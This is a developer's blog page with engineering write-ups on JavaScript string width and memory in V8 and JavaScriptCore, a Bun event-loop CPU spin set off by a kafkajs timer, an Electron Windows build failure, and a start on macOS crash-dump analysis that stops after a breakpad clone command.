Kevin Cui's Blog

A 6.47 MB JS String Occupied 15.4 MB of Memory

bh@bugs.cc (Kevin Cui) — Fri, 04 Sep 2026 11:30:00 GMT

open-connector is an open-source project we work on. It wraps 1,464 third-party APIs (Slack, GitHub, Feishu, and others) behind a single action interface. Each third party is a provider. Which actions it has, and the JSON Schema for each action’s input and output, live in a JSON file. Those files are the catalog. The service loads them into memory at startup.

We were recently cutting resident memory on its Bun single-file binary, taking RSS after startup from 378 MiB down to 293 MiB (open-connector#490). The heap’s largest single object turned out to be a JSON string: 6,471,221 characters, 6.47 MB as UTF-8, but 15.4 MB in JavaScriptCore’s heap. The reason was that 49 of those 6.47 million characters sit outside Latin-1.

I then looked at the Cloudflare Workers heap. Same cause: two characters made a 14.5 MB script occupy 27.6 MiB. Writing it down.

Environment:

macOS arm64
Bun 1.4.0 (JavaScriptCore)
Node 26.7.0 (V8)
esbuild 0.28.x, wrangler 4.127.1

The symptom

At startup the service JSON.stringifys a summary of every provider in the catalog (name, description, the list of actions, no schemas) and caches that string as the /api/providers response body. Every later request sends it as-is. That string is providerSummariesJson, 6,471,221 characters.

While looking at memory I used heapStats() from bun:jsc to compare the heap before and after loading the catalog, then nulled this string on its own. That confirmed it accounted for 15.4 MB by itself.

The catalog can be loaded two ways. By default, every provider’s JSON Schema is read into memory at startup. It can also keep only names, descriptions, and action lists, and read a schema from its file the first time some action actually needs it. In that second mode the whole JS heap is 26.4 MiB, and this one string is more than half of it.

6.47 MB of text occupying 15.4 MB is roughly 2x. Scan the string for code points above U+00FF:

const tally = new Map();
for (const ch of text) {
  if (ch.codePointAt(0) > 0xff) tally.set(ch, (tally.get(ch) ?? 0) + 1);
}

chars: 6471221, non-Latin-1 code points: 49
U+2014 "—" x13
U+2022 "•" x12
U+2192 "→" x3
U+8868 "表" x2
U+5E7F "广" x2
...

49 characters: 13 em dashes, 12 bullets, 3 arrows, and 21 CJK characters from a few providers whose descriptions are in Chinese. Those 49 come from 17 provider files. The other 1,447 files are pure ASCII. Those 49 characters made every character in the string occupy two bytes.

Why two bytes

The ECMAScript spec says a string is a sequence of 16-bit code units. Engines do not actually store two bytes per character. V8 has SeqOneByteString and SeqTwoByteString. JavaScriptCore’s StringImpl has an is8Bit() 8-bit form and a 16-bit form. The rule is the same: if every character in the string is at most U+00FF, store one byte per character. If any character is above that, store the whole string two bytes per character. In V8’s source that ceiling is kMaxOneByteCharCode = 0xFF.

The ceiling is Latin-1, not ASCII. é (U+00E9) is not ASCII, but its code point is still at most U+00FF, so it stays one byte. What actually forces the whole string to two bytes is anything above U+00FF: an em dash (U+2014), a bullet (U+2022), an arrow (U+2192), CJK, emoji. Mix one CJK character into 6.47 million others and the whole string doubles.

A script to check. Eight million ASCII characters, then one é or one 中 on the end, and see how much the heap grows:


function heap() {
  globalThis.gc();
  globalThis.gc();
  return v8.getHeapStatistics().used_heap_size;
}

function build(extra) {
  const s = "abcdefgh".repeat(1_000_000) + extra;
  s.charCodeAt(s.length - 1); // flatten the rope, see below // [!code highlight]
  return s;
}

const base = heap();
const ascii = build("");
const h1 = heap();
const latin = build("é");
const h2 = heap();
const cjk = build("中");
const h3 = heap();
console.log(`8,000,000 x ASCII        : heap +${((h1 - base) / 1048576).toFixed(1)} MiB`);
console.log(`same + one "é" (U+00E9)  : heap +${((h2 - h1) / 1048576).toFixed(1)} MiB`);
console.log(`same + one "中" (U+4E2D) : heap +${((h3 - h2) / 1048576).toFixed(1)} MiB`);
globalThis.keep = [ascii, latin, cjk];

$ node --expose-gc demo.mjs
8,000,000 x ASCII        : heap +7.6 MiB
same + one "é" (U+00E9)  : heap +7.6 MiB
same + one "中" (U+4E2D) : heap +15.3 MiB

Swap heap() for Bun.gc(true) plus process.memoryUsage().heapUsed and Bun 1.4.0 prints the same three numbers: 7.6, 7.6, 15.3. Both engines agree.

Characters above Latin-1 are marked in red.

V8 can also print the type:

$ node --allow-natives-syntax -e '%DebugPrint("abc" + "é"); %DebugPrint("abc" + "中")'
DebugPrint: 0xd0faee56981: [String] in OldSpace: "abc\xe9"
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0xd0faee56999: [String] in OldSpace: u"abc\u4e2d"
 - type: SEQ_TWO_BYTE_STRING_TYPE

That charCodeAt in the script is required. a + b does not copy immediately in either engine. It builds a rope (V8 calls it ConsString, JSC calls it JSRopeString), and each half keeps its original representation. The eight million ASCII characters are still one-byte at that point. Index it, run a regexp, call indexOf, or write it as an HTTP response body, and the engine flattens the rope into a contiguous buffer. That is when the widest character decides the width of the whole thing. Without that line, all three numbers are 7.6.

%DebugPrint can show the rope itself:

$ node --allow-natives-syntax -e 'const s = "abcdefgh".repeat(4) + "中"; %DebugPrint(s)'
DebugPrint: 0x1be004ae841: [String]: uc"abcdefghabcdefghabcdefghabcdefgh\u4e2d"
 - type: CONS_TWO_BYTE_STRING_TYPE

The c in the prefix means cons. The moment of concatenation, V8 already tags this rope as two-byte, because the right half is two-byte. The ASCII characters on the left still sit in their original one-byte buffer. The actual recopy at two bytes happens when the rope is flattened.

Both engines’ rules are in the source. V8’s String class comments restate the spec, then give the one-byte ceiling and the two sequential character types (string.h, unicode.h):

// The String abstract class captures JavaScript string values:
//
// Ecma-262:
//  4.3.16 String Value
//    A string value is a member of the type String and is a finite
//    ordered sequence of zero or more 16-bit unsigned integer values.
V8_OBJECT class String : public Name {
  // ...
  // Max char codes.
  static const int32_t kMaxOneByteCharCode = unibrow::Latin1::kMaxChar; // [!code highlight]
  static const int kMaxUtf16CodeUnit = 0xffff;
};

V8_OBJECT class SeqOneByteString : public SeqString {
  static const bool kHasOneByteEncoding = true;
  using Char = uint8_t; // [!code highlight]
};

V8_OBJECT class SeqTwoByteString : public SeqString {
  static const bool kHasOneByteEncoding = false;
  using Char = uint16_t; // [!code highlight]
};

class Latin1 {
 public:
  static const uint16_t kMaxChar = 0xff;
};

In WebKit, one StringImpl carries a flag, and the data pointer is a union. A given string is only one of the two at a time (StringImpl.h):

static constexpr const unsigned s_hashFlag8BitBuffer = 1u << 2;
// ...
bool is8Bit() const { return m_hashAndFlags & s_hashFlag8BitBuffer; } // [!code highlight]
// ...
std::atomic<uint32_t> m_refCount;
unsigned m_length;
union { // [!code highlight:4]
    const Latin1Character* m_data8;
    const char16_t* m_data16;
};

JSON.stringify does not escape non-ASCII. It only escapes quotes, backslashes, control characters, and lone surrogates. So if the JSON contains a Chinese description, the entire JSON.stringify result is two-byte, whether or not the rest is ASCII.

JSON.parse is not affected. Each string value it produces is its own string and picks a representation on its own:

$ node --allow-natives-syntax -e 'const o = JSON.parse(`{"a":"abcdefghabcdefgh","b":"abcdefghabcdefgh中"}`); %DebugPrint(o.a); %DebugPrint(o.b)'
DebugPrint: 0x19f36672e771: [String]: "abcdefghabcdefgh"
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0x19f36672e791: [String]: u"abcdefghabcdefgh\u4e2d"
 - type: SEQ_TWO_BYTE_STRING_TYPE

So after the catalog is parsed into objects, only the description fields on those 17 providers that contain CJK or em dashes are two-byte. Everything else stays one-byte. The doubling happens only on the serialized blob.

The fix

This string has one job: go out as an HTTP response body, unchanged. It has to become UTF-8 bytes on the way out anyway, so encode it at startup and keep a Uint8Array on the heap:

return {
  providerSummariesJson,
  // TextEncoder rather than Buffer: the Cloudflare Workers build shares this function.
  providerSummariesJson: new TextEncoder().encode(providerSummariesJson),
  providerSummariesEtag: weakEtag(providerSummariesJson),

A Uint8Array lives in an ArrayBuffer. Counted in bytes, 6.47 MB is 6.47 MB.

/api/providers sends an ETag. Browsers and CDNs use it to decide whether a cached copy is still valid. The value is a hash of the JSON string, over UTF-16 code units, not UTF-8 bytes. Hash the bytes instead and every client that already cached this endpoint will treat the body as new and pull 6.47 MB again. So the hash still runs on the string, and the string can be dropped afterwards. Before the change the ETag was W/"62be35-aa331d99". After the change it is still that value, and the response body is byte-for-byte identical.

The result: with only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The default path, which also keeps schemas in memory, went from 74.7 MiB to 65.5 MiB. On macOS, though, ps still reported the same RSS. Bun’s allocator is mimalloc, which does not return freed pages to the OS right away, so the number ps shows does not drop with them.

If you have to keep a string, another option is to write the non-ASCII characters as \uXXXX in the JSON text. That is still valid JSON, the parsed values do not change, the 49 characters cost five extra characters each, and the whole string goes back to one byte. I tried it on this catalog (the string had grown to 6,472,664 characters) and hit a snag:

const escaped = json.replace(/[\u0100-\uffff]/g, (c) => "\\u" + c.charCodeAt(0).toString(16).padStart(4, "0"));

json                                 : 6,472,664 chars, heap +12.34 MiB, SEQ_TWO_BYTE_STRING_TYPE
escaped = json.replace(...)          : 6,472,909 chars, heap +12.35 MiB, SEQ_TWO_BYTE_STRING_TYPE
JSON.parse(JSON.stringify(escaped))  : 6,472,909 chars, heap  +6.17 MiB, SEQ_ONE_BYTE_STRING_TYPE

After escaping there is no code point above U+00FF left, but the result of replace() is still two-byte. Both engines explain why. V8’s replace with a callback goes through Runtime_RegExpReplaceRT. The result is built from substrings of the original and each replacement (runtime-regexp.cc):

RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  // ...
  const bool functional_replace = IsCallable(*replace_obj);
  // ...
  IncrementalStringBuilder builder(isolate);
  // ...
    if (position >= next_source_position) {
      builder.AppendString( // [!code highlight:3]
          factory->NewSubString(string, next_source_position, position));
      builder.AppendString(replacement);

NewSubString taken from a two-byte string is still two-byte. It keeps the parent’s representation and does not look at the contents. Once IncrementalStringBuilder has appended a two-byte piece it switches to two-byte and never switches back. If the subject is two-byte, the result is two-byte.

JSC’s replace always ends in jsSpliceSubstringsWithSeparators. It only looks at the source string’s flag and each replacement’s flag (StringPrototypeInlines.h):

bool allSeparators8Bit = true;
for (int i = 0; i < separatorCount; i++) {
    totalLength += separators[i].length();
    if (separators[i].length() && !separators[i].is8Bit())
        allSeparators8Bit = false;
}
// ...
if (source.is8Bit() && allSeparators8Bit) { // [!code highlight]
    std::span<Latin1Character> buffer;
    auto impl = StringImpl::tryCreateUninitialized(totalLength, buffer);

source.is8Bit() is a flag set when the source string was created. The 49 characters that were replaced are gone from the result, but the flag is not, so the result still allocates a 16-bit buffer. Both engines do the same thing: a string derived from another string inherits its width. To make the engine pick a representation from the contents, you have to build a new string, for example JSON.parse(JSON.stringify(escaped)), or encode to bytes and decode back. Then it is 6.17 MiB. Bun prints the same three numbers.

We did not take this path. Storing bytes is more direct, and there is another reason: keeping a string means encoding it again on every response. TextEncoder.encode() on 6.47 MB measured 3.1 ms on the macOS arm64 machine above. Bytes can be written straight to the socket.

One more measurement pitfall. In Node, a large string from TextDecoder.decode() is EXTERNAL_TWO_BYTE_STRING_TYPE. The data sits outside the V8 heap. v8.getHeapStatistics().used_heap_size does not see it. You have to look at process.memoryUsage().external. The first time I measured it, heap growth was 0. I had just missed this.

Script source on Cloudflare Workers

The same open-connector codebase also runs on Cloudflare Workers. Each Worker script runs in a V8 isolate. The isolate heap is capped at 128 MB. Go over that and the whole isolate is torn down and rebuilt. After shrinking the binary I checked how much this side actually used: start the service with wrangler dev, then send Runtime.getHeapUsage and HeapProfiler.takeHeapSnapshot over the inspector port.

The production shape (wrangler deploy --minify) sits at 88.7 MiB at steady state. The largest node in the snapshot is a 27.63 MiB string: the entire Worker script source. The script file itself is 14.5 MB.

V8 keeps script source on the heap for as long as the isolate lives, because compilation is lazy. Load time only pre-parses. A function is compiled the first time it runs, and bytecode for functions that have not run in a while can be dropped and recompiled from source on the next call. So the source has to stay.

Which representation the source uses when it enters the isolate is in workerd (the open-source Workers runtime), in modules-new.c++:

// The source text of an ES module in the representation handed to V8 for
// compilation. V8 has no internal UTF-8 string representation — strings are
// either one-byte (Latin-1) or two-byte (UTF-16). Worker bundle sources arrive
// as UTF-8 bytes, so each module's source is encoded once, lazily, on first
// compile, and the result is shared by every isolate that compiles the module:
//
//  * Pure-ASCII source (the overwhelmingly common case — bundlers typically
//    escape non-ASCII): the original buffer directly backs a one-byte external
//    string. Zero copies.
//  * Non-ASCII source whose code points all fit in Latin-1: transcoded once to
//    a one-byte buffer, matching the representation V8 itself would choose for
//    the same text.
//  * Anything else (CJK, emoji, ...): transcoded once to UTF-16.
// ...
EncodedSource transcodeSource(kj::ArrayPtr<const char> source) {
  if (simdutf::validate_utf8(source.begin(), source.size())) {
    // Valid UTF-8. Prefer the half-size Latin-1 representation when every code
    // point permits it. The buffer is sized exactly, so with already-validated
    // input a zero return can only mean some code point exceeds U+00FF.
    auto latin1 =
        kj::heapArray<char>(simdutf::latin1_length_from_utf8(source.begin(), source.size()));
    if (simdutf::convert_utf8_to_latin1(source.begin(), source.size(), latin1.begin()) != 0) { // [!code highlight]
      return {.repr = kj::arc<OwnedAscii>(kj::mv(latin1))};
    }

    auto utf16 =
        kj::heapArray<uint16_t>(simdutf::utf16_length_from_utf8(source.begin(), source.size()));
    // ...
    return {.repr = kj::arc<OwnedUtf16>(kj::mv(utf16))}; // [!code highlight]
  }
  // ...
}

The comment mentions that bundlers typically escape non-ASCII. The old module registry uses v8::String::NewFromUtf8, with the same representation rule. 14,483,642 characters times 2 is exactly 27.63 MiB.

Source does not have to be stored two-byte. Scan the 14.5 MB script and there are only two code points above U+00FF: a ✗ (U+2717) and a ✓ (U+2713), both in the regexes the Pi-hole provider uses to parse CLI output:

function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return "failed";
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return "success";
  }
  return null;
}

The rest of the codebase is full of Chinese strings. Why only these two left? Because esbuild’s default charset is ascii. When it prints a string literal, characters above 0xFF become \uXXXX, and 0x80 to 0xFF become \xXX. A regexp literal in the printer is one p.print(e.Value), copied as-is (js_printer.go):

// Is this an unpaired low surrogate or four-digit hex escape?
case (c >= firstLowSurrogate && c <= lastLowSurrogate) || (p.options.ASCIIOnly && c > 0xFF): // [!code highlight]
	js = append(js, '\\', 'u', hexChars[c>>12], hexChars[(c>>8)&15], hexChars[(c>>4)&15], hexChars[c&15])

// Can this be a two-digit hex escape?
case p.options.ASCIIOnly:
	js = append(js, '\\', 'x', hexChars[c>>4], hexChars[c&15])

case *js_ast.ERegExp:
	// ...
	p.addSourceMapping(expr.Loc)
	p.print(e.Value) // [!code highlight]

The docs say the same: non-ASCII in regexes is not escaped, because esbuild does not parse regex contents. So:

const ok = "[✓] done";
const re = /\[✓\]\s*done/;

// esbuild --minify
const o="[\u2713] done",e=/\[✓\]\s*done/;

Those two characters made V8 store the entire 14.5 MB script two-byte, 27.63 MiB. So the regexes got handwritten escapes too (open-connector#493):

function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
  if (/\[\u2717\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return "failed";
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
  if (/\[\u2713\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return "success";
  }
  return null;
}

The regexes mean the same thing. The source text is pure ASCII again. Same machine, same build, measured before and after:

isolate heap, before first request      : 40.56 MiB -> 26.74 MiB
isolate heap, steady state after full GC: 88.69 MiB -> 74.82 MiB

The 13.8 MiB saved is exactly the size of the script file. I also added a test that walks every regexp literal under src/ and reports file and line if it sees a character above U+00FF. If anyone puts an arrow in a regex literal again, CI fails first.

Two more notes:

The Bun single-file binary mentioned earlier ships 30 MB of JS and does not have this problem. When the target is bun, Bun’s bundler escapes all non-ASCII, including inside regexp literals, and the output is pure ASCII. Point the same file at browser or node and it is copied as-is, like esbuild:
```
$ bun build --minify --target=bun in.js
var o="[\u2713] done",e=/\[\u2713\]\s*done/;export{o as ok,e as re};
$ bun build --minify --target=browser in.js
var o="[✓] done",e=/\[✓\]\s*done/;export{o as ok,e as re};
```
So in the binary, the thing that doubled was a data string. On Workers, it was the source.
A wrangler dev build without --minify has 2,909 non-Latin-1 characters, most of them in comments, and the source string is 58 MiB. Measure Worker memory on the production shape. The dev numbers are not useful.

How to check

To see whether a string will be stored two-byte:

/[^\u0000-\u00ff]/u.test(s);

On V8 you can print the type: node --allow-natives-syntax, then %DebugPrint(s), and look for SEQ_ONE_BYTE_STRING_TYPE or SEQ_TWO_BYTE_STRING_TYPE. In a DevTools heap snapshot, if a string’s shallow size is about twice its length, it is two-byte.

Places this shows up:

Large JSON response bodies cached in memory. Anything with a Chinese description or an em dash is almost certainly two-byte.
Runtimes that keep source on the heap, such as a Workers V8 isolate. Bundlers escape string literals. They do not escape regexes or comments.
i18n catalogs, templates, Markdown, any large text that is non-ASCII by nature.

Two easy traps: operations that derive a new string from an old one, such as replace() and slice(), keep the old string’s width. After escaping you have to build a new string for the change to take. External strings from TextDecoder are not in V8’s heap stats. Include external when you look at the heap.

Closing

The catalog now stores a Uint8Array. The Worker regexes are written with \uXXXX. With only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The Worker isolate at steady state went from 88.7 MiB to 74.8 MiB.

Troubleshooting Periodic 100% CPU on a Bun Service

bh@bugs.cc (Kevin Cui) — Tue, 25 Aug 2026 07:00:00 GMT

A few days ago we hit a fairly interesting production issue. A Bun service was periodically pegging one CPU core across three pods, for exactly 10 minutes each time, then dropping back on its own. The service itself was fine: requests worked, health checks never failed. The CPU graph just looked awful.

It turned out to be two problems that are each pretty mild on their own, stacked on a specific kernel version and a specific Bun patch release. Writing it down.

Environment:

Bun 1.3.14 (pinned in the Dockerfile)
kafkajs 2.2.4
Kubernetes node kernel 5.10.134

Repro: bun-epoll-timer-spin-repro. I’ll come back to this later.

The symptom

Minute-level CPU for the three pods on one day. The vertical lines at the bottom are Kafka produces; more on that later. A few things stand out:

The plateau sits at 0.99 cores and never goes above 1.0. Only one thread is busy.
Every stretch is a multiple of 600 seconds. It jumps up and down within a single scrape interval, not a gradual climb.
All three pods often start the stretch together.
Almost nothing overnight. It tracks traffic.
During a spike, user is about 2/3 and sys about 1/3. Network, fd count, and memory look the same as a quiet period.

That last point already rules a lot out. We weren’t chewing through large payloads, and it wasn’t pure JS compute (sys wouldn’t be that high). It looked like a busy loop that still makes syscalls.

I first wondered if a worker was stuck in a tight loop on some job. But over 24 hours, every log related to job timeouts, retries, and heartbeats was zero. Busy periods and idle periods produced almost the same amount of logs. It also wasn’t introduced by a deploy: every one of the 16 days we have metrics for looks the same.

Reading /proc in the pod

Can’t poke production casually, and there’s no perf in the container, so I kubectl exec’d and read /proc. That’s fully read-only.

Diff utime/stime of every thread in /proc/<pid>/task/*/stat over 3 seconds and find the hot one. During a spike (100 ticks = one core):

tid   comm        d_utime  d_stime
8     bun         197      100
95    HTTP        0        0
9     bun         0        0
16    Bun         0        0
15    Bun         0        0
14    Bun         0        0
13    Bun         0        0
12    HeapHelper  0        0
11    HeapHelper  0        0
10    HeapHelper  0        0

The hot thread is the main thread (the one where tid equals pid). Then I sampled /proc/<pid>/task/<tid>/syscall as fast as I could. The first column is the syscall number the thread is currently in¹, followed by six arguments. When the thread is in userspace, the file says running:

i=0
while [ $i -lt 3000 ]; do
  cat /proc/8/task/8/syscall >> /tmp/sc.txt
  i=$((i+1))
done
# which syscall it is blocked on
awk '{print $1}' /tmp/sc.txt | sort | uniq -c | sort -rn
# epoll_pwait timeout (4th argument, i.e. column 5)
awk '$1 == 281 {print $5}' /tmp/sc.txt | sort | uniq -c | sort -rn

Idle:

2969 of 3000 samples were sitting in syscall 281, epoll_pwait, with a timeout of tens to hundreds of milliseconds. Normal. One detail: 441 (epoll_pwait2) never showed up at all. That matters later.

During a spike:

   2979 running
     21 281

     21 0x1

Almost entirely in userspace. The rare times it was in epoll_pwait, the timeout was 1ms.

Then /proc/<pid>/net/tcp: 4 connections when idle (Redis, Postgres). During a spike, two extra connections to port 9095, the Kafka broker.

Every spike was a Kafka send

The service publishes metering events with kafkajs. I pulled 48 hours of logs that trigger a Kafka produce and lined them up against 115 CPU stretches:

Every stretch starts within -13s to +1s of the nearest produce (within scrape jitter)
Every stretch ends 600s to 611s after the last produce in that stretch
The other way around: all 373 produces fall inside some stretch. None missed.

600s is the default connections.max.idle.ms on a Kafka broker: the broker closes a connection after 10 minutes idle. So the length of a CPU stretch is the lifetime of one Kafka connection. The three pods spiked together because one user’s batch of jobs landed on three machines, each of which sent a message within a few seconds.

The 1ms setTimeout in kafkajs

kafkajs 2.2.4, src/network/requestQueue/index.js:

checkPendingRequests() {
  while (this.pending.length > 0 && this.canSendSocketRequestImmediately()) {
    // ...
  }
  this.scheduleCheckPendingRequests() // [!code highlight]
}

scheduleCheckPendingRequests() {
  let scheduleAt = this.throttledUntil - Date.now() // [!code highlight]
  if (!this.throttleCheckTimeoutId) {
    if (this.pending.length > 0) {
      scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
    }
    this.throttleCheckTimeoutId = setTimeout(() => { // [!code highlight:4]
      this.throttleCheckTimeoutId = null
      this.checkPendingRequests()
    }, scheduleAt)
  }
}

checkPendingRequests always calls scheduleCheckPendingRequests. When pending is empty and there’s no throttle, that still arms a setTimeout, whose callback calls checkPendingRequests again. throttledUntil starts at -1, so scheduleAt is a huge negative number. Both Node and Bun treat a negative delay as 1ms.

So from the first response on a broker connection, that connection runs a 1ms setTimeout loop until destroy() is called. And destroy() only runs when the connection drops.

This has been reported upstream (kafkajs#1556, kafkajs#1704). A fix PR has been sitting around for a long time (kafkajs#1572) and never landed. We had already patched it in our repo, but the patch only clamped the negative value with Math.max(1, scheduleAt || 1), which keeps the 1ms loop around instead of killing it.

Still: a 1ms setTimeout loop is maybe 2% CPU on Node. Why does it peg a whole core?

Why Bun pegs a whole core

The event loop. Bun 1.3.14, packages/bun-usockets/src/eventing/epoll_kqueue.c:

// [!code word:tv_nsec / 1000000]
static int bun_epoll_pwait2(int epfd, struct epoll_event *events, int maxevents, const struct timespec *timeout) {
    if (has_epoll_pwait2 != 0) {
        // ... sys_epoll_pwait2(...)
    }

    int timeoutMs = -1;
    if (timeout) {
        timeoutMs = timeout->tv_sec * 1000 + timeout->tv_nsec / 1000000;
    }

    do {
        ret = epoll_pwait(epfd, events, maxevents, timeoutMs, &mask);
    } while (IS_EINTR(ret));

    return ret;
}

Bun prefers epoll_pwait2, which takes a nanosecond timespec. epoll_pwait2 only exists since Linux 5.11; Bun checks the kernel version and falls back to epoll_pwait with a millisecond timeout below that. The bug is tv_nsec / 1000000: it truncates toward zero.

A 1ms timer re-arms itself in its own callback. The event loop computes how long to wait next: 0.9x ms left, truncated to 0, epoll_pwait(…, 0) returns immediately, compute again, still 0, spin until the timer fires. Then the callback arms a new 1ms timer, and around we go.

That matches /proc: the main thread never called epoll_pwait2, because our nodes are 5.10.134. The 0x1 samples during a spike are the one call per round that actually sleeps. The timeout-0 calls return immediately, so you almost never catch them.

The truncation has been there since 1.3.11. Only 1.3.14 blows up. The difference is bun#29806 in 1.3.14: timespec.now() switched from CLOCK_MONOTONIC_COARSE on Linux to a nanosecond hw_timer (rdtsc). The old clock is jiffy-granularity, milliseconds. Remaining time on a 1ms timer is either a full 1ms or already due. You never see 0.9ms, so truncation never produces 0. After the nanosecond clock, that old truncation finally got hit.

Upstream fixed it in bun#34780 (round up instead). That only shipped in 1.4.0; there were no more 1.3.x releases after 1.3.14. So the only affected version is 1.3.14, and only on kernels without epoll_pwait2.

Reproducing it locally

You don’t need a 5.10 machine. Docker seccomp can make a syscall return ENOSYS. When Bun sees epoll_pwait2 return ENOSYS, it takes the same fallback path:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    { "names": ["epoll_pwait2"], "action": "SCMP_ACT_ERRNO", "errnoRet": 38 }
  ]
}

The full repro is in bun-epoll-timer-spin-repro, Docker only:

git clone https://github.com/BlackHole1/bun-epoll-timer-spin-repro.git
cd bun-epoll-timer-spin-repro
./run.sh

It runs Bun 1.3.13 / 1.3.14 / 1.4.0, with and without epoll_pwait2, on three timer setups: a plain setTimeout(fn, 1), a plain setTimeout(fn, 10), and constructing kafkajs’s RequestQueue then calling checkPendingRequests() once (no real Kafka). Each case runs 5 seconds and reports timer fire rate plus CPU:

bun       epoll_pwait2   mode        iter/s   user%    sys%
1.3.13    available      timer1         330     1.2     1.4
1.3.13    available      timer10         84     1.4     0.8
1.3.13    available      kafkajs        327     2.2     0.9
1.3.13    blocked        timer1         327     1.7     1.1
1.3.13    blocked        timer10         84     1.5     1.2
1.3.13    blocked        kafkajs        321     2.3     1.5
1.3.14    available      timer1         336     1.2     0.7
1.3.14    available      timer10         85       1     0.2
1.3.14    available      kafkajs        335     2.3     0.7
1.3.14    blocked        timer1         996      56    43.5
1.3.14    blocked        timer10         92       2     0.7
1.3.14    blocked        kafkajs        993    62.9    36.6
1.4.0     available      timer1         334     1.3     1.6
1.4.0     available      timer10         86     0.8     0.4
1.4.0     available      kafkajs        337       2     1.3
1.4.0     blocked        timer1         338       1     1.1
1.4.0     blocked        timer10         85     0.7     0.5
1.4.0     blocked        kafkajs        334     1.3     1.1

Only 1.3.14 with the syscall blocked pegs a core. So this isn’t really about kafkajs. Any 1ms setTimeout loop does the same thing on that combination.

strace over 2 seconds: 148k times epoll_pwait(4, [], 1024, 0, [], 8) = 0 <0.000001>, 6 to 7 µs apart. That’s the 2/3 user + 1/3 sys.

The fix

Patch kafkajs: if pending is empty and there’s no throttle, don’t schedule a timer. Everything else stays.

       if (this.pending.length > 0) {
         scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
       }
-      // Prevent negative or invalid delays
-      scheduleAt = Math.max(1, scheduleAt || 1)
+      if (scheduleAt <= 0) {
+        return
+      }
       this.throttleCheckTimeoutId = setTimeout(() => {

In the repro, CPU went from 99% to 0.2%.

Two extra things while I was there:

Pinned kafkajs from ^2.2.4 to exact 2.2.4. Bun’s patchedDependencies matches on the key kafkajs@2.2.4. If the lockfile resolves a different version, Bun silently skips the patch, bun install exits 0, and it doesn’t say a word.
Added a test that imports kafkajs/src/network/requestQueue/index.js directly and asserts that an empty pending queue does not arm a timer. If the patch ever disappears, the test fails first.

The patch is already in production. The periodic one-core spikes are gone. Once we move to Bun 1.4.0, this combination won’t come back even if the patch gets dropped.

Syscall numbers depend on the architecture. On x86_64 the table is syscall_64.tbl in the kernel tree; if the box has auditd, ausyscall x86_64 281 works too. These are the ones that show up later:
```
202  futex
281  epoll_pwait
441  epoll_pwait2
```
On arm64, epoll_pwait is 22. epoll_pwait2 is one of the newer syscalls that got a single number across architectures: 441 everywhere. ↩

Troubleshooting Electron 39.6.0 Tag Build Failure on Windows

bh@bugs.cc (Kevin Cui) — Tue, 10 Mar 2026 08:07:00 GMT

It’s been quite a while since I last built Electron on Windows. Yesterday afternoon, I tried building the electron@39.6.0 tag, but it failed repeatedly. Strangely, the latest commit built without any issues. I ended up debugging it late into the night.

I tried both PowerShell and Command Prompt, rebuilt the entire source tree from scratch, and even restarted my machine — to no avail.

Reproduction Environment:

Electron 39.6.0 (tag)
Windows 10/11
Tested in both PowerShell and Cmd

My first suspicion was a depot_tools version issue, but @electron/build-tools updates depot_tools automatically before starting the build, so that wasn’t the culprit.

Switching to the latest commit worked fine, confirming the problem wasn’t system-wide.

The error suggested running .\siso_failed_commands.bat to replay the failed commands. When I executed it manually, the build succeeded without errors.

Manually running the batch file worked perfectly.

Taking a closer look at the error log, I spotted this:

err: fork/exec /Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe: The system cannot find the path specified.

The C: drive letter had been dropped. However, the path in siso_failed_commands.bat still included it.

This indicated that siso (the build executor) was stripping the drive letter prefix when spawning processes (C:\foo → \foo).

If the source code had been on the C: drive, the issue wouldn’t have occurred. On Windows, paths starting with / are resolved relative to the root of the current drive of the process.

By default, @electron/build-tools installs depot_tools to %USERPROFILE%\.electron_build_tools\third_party.

The siso process was running with its working directory set to the build output folder: D:\electron\release-39.6.0\src\out\Release.

Since my Electron source was on the D: drive, stripping the drive letter turned the Python path into:

D:/Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe

Which obviously didn’t exist — hence “The system cannot find the path specified.” 🤷‍♂️

In short: the build only fails if depot_tools and the Electron/Chromium source tree are on different drives. This also explains why Electron’s CI always succeeds.

I eventually tracked the issue down to this Chromium change: https://chromium-review.googlesource.com/c/build/+/7134259

Root Cause: In Go, slices are reference types. Modifying a slice in place affects all references sharing the same backing array, causing the modification to be incorrectly propagated to later uses.

Fix: Use slices.Clone() to create an independent copy.

For now, my workaround is to keep the Electron source tree on the C: drive.

View and analyze Electron crashes on macOS

bh@bugs.cc (Kevin Cui) — Tue, 15 Oct 2024 12:56:19 GMT

When developing an Electron application, you might encounter crashes. However, for various reasons, the application may not have integrated Sentry or other crash analysis platforms. In such cases, you need to manually check the crash logs to identify the issue.

Locating Local Crash Logs

Since Electron is based on Chromium, the crash-related operations are largely consistent with Chromium.

In the Chromium crash-reports, we can see that crash files are stored in the ~/Library/Application\ Support/Chromium/Crashpad/completed directory. However, since we are using an Electron application and there is no “submission” process, the crash files are kept in the ~/Library/Application\ Support/Chromium/Crashpad/pending directory.

Before searching, remember to replace Chromium in the above directories with your application name, such as OOMOL Studio.

If you have encountered many crashes, you’ll find numerous *.dmp files in this directory. Generally, we only need to analyze the most recent crash, so the latest file is the one we require.

Analyzing Crash Files

Using `breakpad`

breakpad is an open-source crash analysis tool developed by Google, specifically for Chromium. We can use this tool to analyze our dmp files.

git clone https://chromium.googlesource.com/breakpad/breakpad
